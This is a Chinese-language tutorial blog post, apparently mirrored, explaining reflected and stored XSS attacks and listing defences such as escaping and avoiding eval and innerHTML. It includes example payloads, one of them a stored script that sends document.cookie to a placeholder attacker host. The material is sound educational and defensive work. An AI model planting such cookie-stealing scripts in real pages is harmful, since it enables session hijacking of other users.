zoukankan      html  css  js  c++  java
  • XSS(Cross Site Scripting)攻击

    xss(Cross Site Scripting):跨站脚本攻击

    原理:

    恶意攻击者在web页面中会插入一些恶意的script代码。当用户浏览该页面的时候,那么嵌入到web页面中script代码会执行,因此会达到恶意攻击用户的目的。那么XSS攻击最主要有如下分类:反射型、存储型、及 DOM-based型。 反射性和DOM-baseed型可以归类为非持久性XSS攻击。存储型可以归类为持久性XSS攻击。
    

    反射型XSS

    反射性XSS的原理是:反射性xss一般指攻击者通过特定的方式来诱惑受害者去访问一个

    包含恶意代码的URL。当受害者点击恶意链接url的时候,

    恶意代码会直接在受害者的主机上的浏览器执行。

    反射性XSS又可以叫做非持久性XSS 。

    攻击者可以直接通过 URL (类似:[https://xx.com/xx?default=](https://link.jianshu.com/?t=https%3A%2F%2Fxx.com%2Fxx%3Fdefault%3D)<script>alert(document.cookie)</script>) 注入可执行的脚本代码。
    及恶意链接
    

    非持久型 XSS 漏洞攻击有以下几点特征:

    (1)即时性,不经过服务器存储,直接通过 HTTP 的 GET 和 
         POST 请求就能完成一次攻击,拿到用户隐私数据;
    (2)攻击者需要诱骗点击;
    (3)反馈率低,所以较难发现和响应修复;
    (4)盗取用户敏感保密信息。
    

    为了防止出现非持久型 XSS 漏洞,需要确保这么几件事情:

      (1)Web 页面渲染的所有内容或者渲染的数据都必须来自于服务端。
      (2)尽量不要从 URL,document.referrer,document.forms
      	  等这种 DOM API 中获取数据直接渲染。
      (3)尽量不要使用 eval/new Function()/document.write()/document.writeln()
      /window.setInterval()/window.setTimeout()/innerHTML
      /document.creteElement() 等可执行字符串的方法
      (4)如果做不到以上几点,也必须对涉及 DOM 渲染的方法传入的字符串参数做 escape 转义。
       (5)前端渲染的时候对任何的字段都需要做 escape 转义编码。
    

    存储型XSS

    存储型XSS的原理是:主要是将恶意代码上传或存储到服务器中,下次只要受害者浏览包含此恶意代码的页面就会执行恶意代码。

    比如我现在做了一个博客网站,然后攻击者在上面发布了一篇文章,内容是如下:<script>window.open("www.gongji.com?param="+document.cookie)</script> 如果我没有对该文章进行任何处理的话,直接存入到数据库中,那么下一次当其他用户访问该文章的时候,服务器会从数据库中读取后然后响应给客户端,那么浏览器就会执行这段脚本,然后攻击者就会获取到用户的cookie,然后会把cookie发送到攻击者的服务器上了。
    

    因此存储型XSS的攻击步骤如下:

    1. 攻击者将恶意代码提交到目标网站数据库中。
    2. 用户打开目标网站时,网站服务器将恶意代码从数据库中取出,然后拼接到html中返回给浏览器中。
    3. 用户浏览器接收到响应后解析执行,那么其中的恶意代码也会被执行。
    4. 那么恶意代码执行后,就能获取到用户数据,比如上面的cookie等信息,那么把该cookie发送到攻击者网站中,那么攻击者拿到该
    cookie然后会冒充该用户的行为,调用目标网站接口等违法操作。
    

    如何防范?

    (1)后端在入库前应该选择不相信任何前端数据,将所有的字段统一进行转义处理。
    (2)后端在输出给前端数据统一进行转义处理。
    (3)前端在渲染页面 DOM 的时候应该选择不相信任何后端数据,任何字段都需要做转义处理。
    

    参考博文: https://www.cnblogs.com/tugenhua0707/p/10909284.html#_labe0

  • 相关阅读:
    display: flex
    TTStand --Variant的应用
    跨域
    HTTP 响应状态代码
    SQL Server 2017 Developer and Express
    WPF 中 通过点击ListBox中的元素自动选中一整项
    C#计算屏幕的物理宽和高
    C#常用设计模式
    EntityFrameworkCore之工作单元的封装
    内存包装类 Memory 和 Span 相关类型
  • 原文地址:https://www.cnblogs.com/x945669/p/13393301.html
Copyright © 2011-2022 走看看